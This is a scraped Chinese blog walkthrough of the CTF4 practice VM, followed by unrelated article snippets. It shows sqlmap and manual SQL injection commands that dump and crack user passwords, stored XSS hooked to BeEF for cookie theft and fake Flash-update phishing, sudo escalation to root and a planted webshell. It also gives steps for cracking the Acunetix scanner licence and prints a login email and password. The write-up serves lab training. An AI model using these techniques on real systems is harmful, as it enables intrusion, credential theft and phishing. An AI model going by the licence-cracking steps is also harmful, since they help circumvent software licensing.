零基础打靶—CTF4靶场

news2025/2/26 4:23:50

一、打靶的主要五大步骤

1.确定目标:在所有的靶场中,确定目标就是使用nmap进行ip扫描,确定ip即为目标,其他实战中确定目标的方式包括nmap进行扫描,但不局限于这个nmap。
2.常见的信息收集:比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这次训练靶场中比如信息收集包括查看源码,使用工具dirb等
3.发现漏洞:之前你们看到那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell
4.利用漏洞就是使用漏洞拿到webshell
5.权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。


                                    文章所需靶场及打靶过程所遇问题关注后私信获得


二、打靶的具体流程

打开本次打靶所需要的靶机(ctf4)及攻击机(kali)

渗透测试工具安装Awvs(将AWVS压缩包拖进kali开始执行命令)

sudo ./acunetix_14.5.211115146_x64.sh

按回车同意隐私条款…..
注意 一直长按就行了,直到末尾输入yes

然后输入用户名和密码以及邮箱。邮箱:3157443409@qq.com 密码:!20021118Ws

接下来浏览器输入https://192.168.99.128:3443/ 用刚才设置的账号和密码登录(需使用自己的kali的IP)邮箱:3157443409@qq.com   密码:!20021118Ws(不是确定的依据个人爱好设定)

登录后,提示目前是尚未激活的状态。  

接下来进行破解

复制 license_info.json  wa_data.dat 这两个文件到/home/acunetix/.acunetix/data/license/目录,全部替换即可

查看存在license_info.json  wa_data.dat 这2个文件,下面进行覆盖

修改hosts文件
vim /etc/hosts
#增加下面两行
127.0.0.1 updates.acunetix.com
127.0.0.1 erp.acunetix.com

然后再次刷新浏览器,可以看到已经激活

设置不更新

AWVS进程:

关闭acunetix服务
sudo service acunetix stop
开启acunetix服务
sudo service acunetix start
重启acunetix服务
sudo service acunetix restart
查看acunetix服务
sudo service acunetix status

信息收集查询靶机的IP 与开放端口以及一些渗透测试

查看自己的网卡设备名和IP地址段

使用工具对该网段进行局域网存活主机探测

fping -g 192.168.99.0/24
sudo netdiscover -i eth0 -r 192.168.99.0/24
sudo arp-scan -l

使用nmap对发现的主机进行扫描

┌──(kali㉿kali)-[~]
└─$ sudo nmap -A -v -sS -sV -p- 192.168.8.133 

通过Wappalyzer插件获得信息:

Web服务:Apache 2.2.0
操作系统:Fedora
后端语言:PHP 5.1.2

使用Nikto漏洞扫描

┌──(kali㉿kali)-[~]
└─$ nikto -host http://192.168.99.129

提取重要信息:
+服务器:Apache/2.2.0(Fedora)
+检索到x-powered-by-header:PHP/5.1.2
+防点击劫持X-Frame-Options标头不存在。

报告输出在本地

┌──(kali㉿kali)-[~]
└─$ nikto -host http://192.168.99.129 -o test.html -F html  #输出报告,

重要目录文件分析robots.txt文件

 /sql/目录

/admin/目录

/usage/目录


/pages/目录 可以看到目录索引


mail目录 mail登录后台

 手动分析注入 

浏览网站博客Blog,点击某一个博客,发现页面,修改id值,页面出现跳转

hackbar手动安装

尝试构造注入点输入单引号发现页面报错,可能存在SQL注入漏洞,需要进一步分析判断

尝试构建SQL注入语句,查看错误信息,order by判断字段发现6 页面报错,5页面没有报错,说明当前表有5列即5个字段

尝试构建SQL注入语句,查看错误信息,union查询判断注入点,发现2、3、5、4存在注入点;

查询当前数据库;查询到当前数据库为ehks

查询当前数据库里所有表:可以看到:blog,comment,user 3个表group_concat函数详解

查询当前表所有字段名; (补充:查询user表是因为用户名和密码信息一般放在该表里)

查询当前表里User和Password字段值;
用户的密码
02e823a15a392b5aa4ff4ccb9060fa68,ilike2surf
b46265f1e7faa3beab09db5c28739380,seventysixers
8f4743c04ed8e5f39166a81f26319bb5,Homesite
7c7bc9f465d86b8164686ebb5151a717,Sue1978
64d1f88b9b276aece4b0edcc25b7a434,pacman
9f3eb3087298ff21843cc4e013cf355f undone1
查询到密码发现密码被加密了,使用MD5解密得到密码;
最终结果:
dstevens,ilike2surf
achen,seventysixers
pmoore,Homesite
jdurbin,Sue1978
sorzek,pacman
ghighland,undone1

列出所有数据库的名字;可以看到结果6个数据库

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" --dbs

列出当前数据库的名字;

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" --current-db

列出当前数据库的所有表名

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" -D 'ehks' --tables 

列出user表中的所有字段名

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" -D 'ehks' -T 'user' --columns

列出user_name,user_pass字段中的所有字段内容

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" -D 'ehks' -T 'user' -C 'user_name,user_pass' --dump //这里主要--dump

尝试去爆破MySQL数据库,拿到user表的重要信息

┌──(kali㉿kali)-[~]

└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" -D 'mysql' -T 'user' -C 'user,password' --dump 

登录后台页面

使用刚SQL注入成功获取到的Ehks数据库的账户和密码登录

尝试构造 :(POC)来验证与检查漏洞的存在

点击blog,出现弹窗,刷新依然存在,判断为存储性XSS

登录到数据库可以看到,已经存入到数据库blog表中

kali安装beef:(通过XSS漏洞配合JS脚本和Metasploit进行渗透)

┌──(kali㉿kali)-[~]
└─$ sudo apt-get update #更新 
┌──(kali㉿kali)-[~]
└─$ sudo apt-get install beef-xss #安装beef-xss  
┌──(kali㉿kali)-[~]
└─$ ls /usr/share/beef-xss #beef=xss 安装路径

启动beef
过程中要求,修改密码,这里修改为123456 默认为beef

打开web页面进行登录 登录:用户名beef 密码:123456

查看脚本

将脚本放在靶机中:

post 提交后,点击Blog,触发XSS,可以在BeEF页面,可以看到肉鸡上线,这里是本地宿主机这里使用的是本地火狐浏览器访问的,所以肉鸡为本地宿主机

在BeEF页面,点击链接的肉鸡

获取cookie:

跳转链接:

伪造flash更新钓鱼:

可以看到屏幕已经劫持,必须点击中间图片,进行页面跳转,这里可以构造钓鱼网站进行信息收录

DirBuster暴力扫描 选择字典类型,字典列表, / usr / share / dirbuster / wordlists

可以看到目录索引

权限提升 SSH利用 

尝试使用获取的账号尝试去登陆ssh,成功登陆,接下来进一步提权

cd /etc/ssh
ls 
cat ssh_config
sudo vim ssh_config


KexAlgorithms +diffie-hellman-group1-sha1
HostkeyAlgorithms +ssh-rsa
PubkeyAcceptedKeyTypes +ssh-rsa

再次尝试 可以使用ssh登录 密码:seventysixers

sudo ssh achen@192.168.99.129

使用sudo提权

[achen@ctf4 ~]$ sudo su 
[root@ctf4 achen]# whoami
[root@ctf4 achen]# id

su命令就是用于账号切换的系统命令,

提权后操作查看IP地址
[root@ctf4 achen]# /sbin/ifconfig 

远程登录数据库

mysql> use mysql; --使用MySQL数据库
mysql> select host,user,password from user;

实现远程连接

再次查看

mysql> select host,user,password from user;

尝试使用数据库工具远程链接 测试链接

链接数据库:用户root 密码:root

编写Webshell或上传Webshell

[root@ctf4 ~]# cd ~

[root@ctf4 ~]# pwd 

/root

[root@ctf4 ~]# cd /var/www/

[root@ctf4 www]# ls

cgi-bin  error  html  icons  usage

[root@ctf4 www]# cd html

[root@ctf4 html]# ls

admin     conf    inc         index.html.bak  pages       robots.txt

calendar  images  index.html  mail            restricted  sql

[root@ctf4 html]# vim shell.php

可以使用Webshell管理工具链接shell.php,这里使用蚁剑

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1278698.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

哈夫曼树与并查集

带权路径长度: 哈夫曼树定义: 哈夫曼树的构造: 哈夫曼编码: 并查集: 代码实现:​​​​​​​ 优化:​​​​​​​

ftp的服务安装配置

安装 yum install -y vsftpd # 是否安装成功 rpm -qa | grep vsftpd # 是否开机启动 systemctl list-unit-files | grep vsftpd # 开机启动 systemctl enable vsftpd.service # ftp端口 netstat -antup | grep ftp # 状态 service vsftpd status service vsftpd start service…

mybatis多表查询(xml)

多表查询都用resultMap resultMap 说白了就是他可以手动设置映射参数&#xff0c;例如 可以指定 column代表数据库的参数 property 代表实体类的参数 <id column"roleid" property"id"></id> column代表数据库的参数 property 代表实体类…

融合CFPNet的EVC-Block改进YOLO的太阳能电池板缺陷检测系统

1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 研究背景与意义 随着太阳能电池板的广泛应用&#xff0c;对其质量和性能的要求也越来越高。然而&#xff0c;由于生产过程中的各种因素&#xff0c;太阳能电池板上可能存在各种缺…

人工智能和网络安全:坏与好

人工智能似乎可以并且已经被用来帮助网络犯罪和网络攻击的各个方面。 人工智能可以用来令人信服地模仿真人的声音。人工智能工具可以帮助诈骗者制作更好、语法正确的网络钓鱼消息&#xff08;而糟糕的语法往往会暴露出漏洞&#xff09;&#xff0c;并将其翻译成多种语言&…

Mongodb安装及其使用

1.Linux系统上安装Mongodb 在usr/local文件夹下创建mongo文件夹 下载mongodb包 wget https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-rhel70-6.0.5.tgz解压mongodb tar -zxvf mongodb-linux-x86_64-rhel70-6.0.5.tgz更改文件夹的名字 mv mongodb-linux-x86_64-rh…

卷积神经网络-3D医疗影像识别

文章目录 一、前言二、前期工作1. 介绍2. 加载和预处理数据 二、构建训练和验证集三、数据增强四、数据可视化五、构建3D卷积神经网络模型六、训练模型七、可视化模型性能八、对单次 CT 扫描进行预测 一、前言 我的环境&#xff1a; 语言环境&#xff1a;Python3.6.5编译器&a…

css中的 Grid 布局

flex布局和grid布局区别 flex布局是 一维布局grid布局是二维布局 flex布局示例 grid布局示例 grid 布局初体验 体验地址 <div class"wrapper"><div class"one item">One</div><div class"two item">Two</div&…

【中文编码】利用bert-base-chinese中的Tokenizer实现中文编码嵌入

最近接触文本处理&#xff0c;查询了一些资料&#xff0c;记录一下中文文本编码的处理方法吧。   先下载模型和词表&#xff1a;bert-base-chinese镜像下载   如下图示&#xff0c;下载好的以下文件均存放在 bert-base-chinese 文件夹下    1. 词编码嵌入简介 按我通俗的…

笔记-基于CH579M模块通过网线直连电脑进行数据收发(无需网络)

刚学习&#xff0c;做个记录。 基于CH579M模块通过网线直连电脑进行数据收发(无需网络) 目录 一、工具1、CH579模块2、 网线3、电脑以及网络调试工具 二、操作步骤1、TCP/UDP等程序下载以及设置以太网IP2、网络断开3、检查以太网是否正常显示并稳定4、打开网络调试助手进行测试…

揭秘原型链:探索 JavaScript 面向对象编程的核心(下)

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

Swin Transformer实战图像分类(Windows下,无需用到Conda,亲测有效)

目录 前言 一、从官网拿到源码&#xff0c;然后配置自己缺少的环境。 针对可能遇到的错误&#xff1a; 二、数据集获取与处理 2.1 数据集下载 2.2 数据集处理 三、下载预训练权重 四、修改部分参数配置 4.1 修改config.py 4.2 修改build.py 4.3 修改units.py 4.4 修…

【程序设计】简易生产者、消费者模型

需求&#xff1a; 创建消息队列时需要指定队列的容量上限&#xff0c;队列中没有消息时&#xff0c;消费者从队列中take元素会阻塞&#xff1b;队列中的消息数量达到容量上限时&#xff0c;生产者往队列中put元素会阻塞。要保证线程安全。 组成&#xff1a; &#xff08;1&…

西南科技大学模拟电子技术实验五(集成运算放大器的应用设计)预习报告

一、计算/设计过程 设计一:用集成运放设计一个输入为0.05v,放大为-100的反相比例运算电路。 对于理想电路,反相比例运算电路的输出电压与输入电压之间的关系如下: =-100,所以 =100 若是假定R1为100k,则R2= =1k 为了减小输入级偏置电流引起的运算误差,在同相输入端…

全新MacOS固件正式版发布,打造出色的操作系统体验!

MacOS 11-14(PKG系统安装包及IPSW固件) 11.7.10/12.7.1/13.6.2/14.1.2正式版已经隆重发布&#xff01;这些固件版本适用于MacOS 11至14&#xff0c;带来了令人瞩目的升级和改进。 新版本固件通过增强系统的稳定性和性能&#xff0c;为用户创造了更加出色的操作系统体验。无论您…

VSC++: string声明的字符串这么相加

缘由https://bbs.csdn.net/topics/397667834 void string声明的字符串这么相加() {//缘由https://bbs.csdn.net/topics/397667834struct teacher { string name; };teacher t[3];string teachernameseed1 "张赵王";//把字符串放入种子中string teachernameseed2 &…

Docker从入门到实战:Docker快速部署、Dockerfile编写、容器间通信及共享数据实战、Docker-compose详解

文章目录 一、基本概念1、体系结构2、容器与镜像1&#xff09;镜像2&#xff09;容器a、容器内部结构b、容器生命周期 3、执行流程 二、常用命令docker pull 镜像名<:tags> &#xff1a;从远程仓库抽取镜像docker images&#xff1a;查看本地镜像docker run 镜像名<:t…

vue项目node-sass^4.14.1 python gyp 报错解决办法

npm i node-sass4.14.1 --sass_binary_sitehttps://npm.taobao.org/mirrors/node-sass/参考链接&#xff1a;链接

wireshark自定义协议插件开发

目录 脚本代码 报文显示 脚本代码 local NAME "test" test_proto Proto("test", "test Protocol") task_id ProtoField.uint16("test.task_id", "test id", base.DEC) cn ProtoField.uint8("test.cn", &qu…

ganache部署智能合约报错VM Exception while processing transaction: invalid opcode

这是因为编译的字节码不正确&#xff0c;ganache和remix编译时需要选择相同的evm version 如下图所示&#xff1a; remix: ganache: 确保两者都选择london或者其他evm&#xff0c;只要确保EVM一致就可以正确编译并部署&#xff0c; 不会再出现VM Exception while processing…